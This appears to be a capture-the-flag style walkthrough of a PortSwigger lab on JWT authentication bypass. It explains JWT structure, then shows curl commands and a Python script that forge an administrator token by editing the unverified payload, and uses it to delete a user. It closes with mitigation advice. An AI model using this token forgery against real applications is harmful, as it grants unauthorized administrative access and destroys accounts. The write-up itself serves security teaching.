JWT Authentication Bypass via Unverified Signature

Lab Description (contains spoilers)

JWT · Portswigger Lab ↗

This lab uses a JWT-based mechanism for handling sessions. Due to implementation flaws, the server doesn't verify the signature of any JWTs that it receives. To solve the lab, modify your session token to gain access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter

March 18, 2025

Necessary Background Concepts To Solve The Lab

JWT Fundamentals

What is JWT (JSON Web Token)?

JWT is a compact, URL-safe means of representing Claims* to be transferred between two parties. It’s commonly used for authentication and information exchange in web applications. It uses base64 encoding to ensure URL-safe transmission.

A JWT consists of three parts separated by dots (.):

header.payload.signature

For example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3NzIxOTg5NTd9.signature_here

Breaking down each part:

1. Header (Base64URL encoded JSON):

{
  "kid": "170c351e-58cc-4e4b-9116-6e7924337580",
  "alg": "HS256"
}
  • alg: The signing algorithm (HS256 = HMAC-SHA256)
  • kid: Key ID (optional identifier for the signing key)

2. Payload (Base64URL encoded JSON):

{
  "iss": "portswigger",
  "exp": 1772198957,
  "sub": "wiener"
}
  • iss: Issuer of the token
  • exp: Expiration timestamp
  • sub: Subject (usually the username)

3. Signature: The signature is created by taking the encoded header and payload, and signing them with a secret key using the algorithm specified in the header:

# Pseudocode

message = base64UrlEncode(header) + "." + base64UrlEncode(payload) 

key = JWT_SECRET # It could be a password, API key, UUID, or any other string

signature = HMACSHA256(message, key)  # This is just the signature part, not the complete JWT

The signature ensures that the token hasn’t been tampered with. If an attacker modifies the header or payload, the signature won’t match unless they know the secret key.

The complete JWT would be constructed as:

# Pseudocode

jwt = base64UrlEncode(header) + "." + base64UrlEncode(payload) + "." + signature
JWT Unverified Signature Vulnerability

JWT Unverified Signature Vulnerability

When a server receives a JWT, it should always verify the signature before trusting the token’s contents. However, some implementations fail to do this properly.

The JWT specification is flexible. It defines how tokens should be structured and signed, but the actual signature verification is left to the application’s code. This creates a dangerous gap: if the server only decodes the JWT without verifying the signature, an attacker can modify the payload at will.

How the attack works:

1. Attacker logs in and receives a valid JWT
2. Attacker decodes the JWT payload (base64)
3. Attacker modifies the payload (e.g., changes "sub": "wiener" to "sub": "administrator")
4. Attacker re-encodes the payload (base64)
5. Attacker sends the modified JWT to the server, which accepts it without checking the signature

The token’s header and signature can remain completely untouched only the payload needs to be modified.

Alternative attack: Changing algorithm to “none”

Some JWT implementations also accept the "none" algorithm, which completely disables signature verification. Attackers can:

1. Change the header's "alg" from "RS256" or "HS256" to "none"
2. Remove the signature part entirely (or keep any value)
3. The server accepts the token without any signature validation

This creates a token like: header.payload. (no signature) or header.payload.invalid_signature.

Why does this happen?

  • Libraries often provide separate methods for decoding and verifying JWTs
  • A developer might accidentally use decode() instead of verify(), which skips signature validation
  • The application trusts the token blindly once it can parse the JSON structure
  • Some libraries accept the "none" algorithm for unsigned tokens, intended for specific use cases but dangerous if not properly restricted

Writeup

Let’s explore the lab’s login page directly and log in to get a valid JWT session token:

curl -s "https://<lab-url>.web-security-academy.net/login"

The login page has a simple form with a CSRF token:

<form class=login-form method=POST action="/login">
    <input required type="hidden" name="csrf" value="GOP5f7aWBkNGS3pTsbVMVbuGkunP162M">
    <label>Username</label>
    <input required type=username name="username" autofocus>
    <label>Password</label>
    <input required type=password name="password">
    <button class=button type=submit> Log in </button>
</form>

Let’s log in with the provided credentials:

curl -D - "https://<lab-url>.web-security-academy.net/login" -d "csrf=GOP5f7aWBkNGS3pTsbVMVbuGkunP162M&username=wiener&password=peter"

Command breakdown:
-D - = dump response headers to stdout
-d "csrf=...&username=wiener&password=peter" = send POST data (automatically sets method to POST and Content-Type to application/x-www-form-urlencoded)

Response:

HTTP/2 302 
location: /my-account?id=wiener
set-cookie: session=eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoid2llbmVyIn0.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg; Secure; HttpOnly; SameSite=None

The session cookie is a JWT token. Let’s decode it to understand its structure:

echo "eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9" | base64 -d | jq .

Command breakdown:
echo "..." = output the JWT header part
base64 -d = decode base64
jq . = pretty-print JSON

Header output:

{
  "kid": "2b4f98e4-e212-47b3-9c4b-a237d81a39e9",
  "alg": "RS256"
}

Now decode the payload:

echo "eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoid2llbmVyIn0" | base64 -d | jq .

Payload output:

{
  "iss": "portswigger",
  "exp": 1773866751,
  "sub": "wiener"
}

The JWT uses RS256 (RSA-SHA256) for signing, which is an asymmetric algorithm. However, the lab description tells us the server doesn’t verify the signature at all. This means we can simply modify the payload without worrying about re-signing the token. The signature will be invalid, but the server won’t check it.

All we need to do is:

  1. Decode the payload
  2. Change "sub": "wiener" to "sub": "administrator"
  3. Re-encode the payload
  4. Replace the payload part in the original JWT

Let’s create a Python script to forge the admin JWT:

import base64
import json

JWT = "eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoid2llbmVyIn0.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg"

header, payload, signature = JWT.split('.')

# Decode the payload
payload_decoded = json.loads(base64.urlsafe_b64decode(payload + '=='))

# Tamper the sub claim to impersonate administrator
payload_decoded['sub'] = 'administrator'

# Re-encode the payload (compact JSON, no padding)
tampered_payload = base64.urlsafe_b64encode(
    json.dumps(payload_decoded, separators=(',', ':')).encode()
).decode().rstrip('=')

# Build forged JWT keeping original header and signature untouched
forged_jwt = f"{header}.{tampered_payload}.{signature}"

print(forged_jwt)

Script breakdown:
The script forges an administrator JWT by:

  1. Splitting the original JWT into its three parts (header, payload, signature)
  2. Decoding the base64url payload to get the JSON claims
  3. Tampering the sub claim from "wiener" to "administrator"
  4. Re-encoding the modified payload back to base64url
  5. Reassembling the JWT with the original header and signature.

Expected output:

eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg

Note: The server won’t verify the signature anyway. You could even change the header alg to none and leave the signature empty, like: header.payload.

Notice that only the middle part (payload) changed. The header and signature remain identical to the original token.

Now let’s access the admin panel with our forged JWT:

curl -s "https://<lab-url>.web-security-academy.net/admin" \
  -b "session=eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg" \
  | grep "carlos"

Command breakdown:
-b "session=..." = send the forged JWT as a session cookie
grep "carlos" = show lines containing “carlos”

Response:

<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>

We have admin access. Now let’s delete the user carlos:

curl -s "https://<lab-url>.web-security-academy.net/admin/delete?username=carlos" \
  -b "session=eyJraWQiOiIyYjRmOThlNC1lMjEyLTQ3YjMtOWM0Yi1hMjM3ZDgxYTM5ZTkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3Mzg2Njc1MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JrwvXrQ2-Y6cTTWD7REhZgU6-qNC9enR7p3TPqmUvtILKWOHm-UJ5EEphCebaCRhP79h3dZL72xStckzlk0LFAg9yn3kpyxRfWIbUAu1BEnmXPU_L9cIOcGSuiEI8f_3AJzsV5gEC7whpn9-XweBmVMN78AbkisD1h-l91fjptBkOzq2VtzdtoZtoDCZLR78ioM61PwZsBcGBM0k4I9AE_JxR93r7EKCbOpibadT98wjo4qV2v1sJ8v139nri-cATAnH3nvDOi4nElXekL90sCEMsbYKPWa3ZBJWj-cChDcgcrQ3mPYwJajKjNXNku2EM06gLFEv59aitGWFBEZ8Rg"

The missing signature verification let us tamper with the JWT payload in plain sight, no cryptographic trickery needed, just a base64 swap was enough to give carlos a one-way ticket to the delete query.

Mitigation Strategies

  1. Always verify JWT signatures: Use your library’s verify() method, never just decode(). This is the most fundamental JWT security requirement
  2. Use well-maintained JWT libraries: Rely on battle-tested libraries that handle verification by default rather than implementing JWT handling from scratch
  3. Enforce algorithm validation: Explicitly specify which algorithms the server accepts and reject tokens using unexpected algorithms
  4. Validate all JWT claims: Always verify the issuer (iss), expiration (exp), and other claims server-side
  5. Implement defense in depth: Don’t rely solely on JWT validation. Add server-side session checks and authorization controls as additional layers

References

Claims* are statements about an entity (typically the user) and additional data, such as identity (sub), issuer (iss), expiration time (exp), and other metadata. Learn more about JWT claims

Resources

JWT.io Debugger This is an interactive tool for decoding, verifying, and debugging JWT tokens. It was also useful for me when I was a web developer.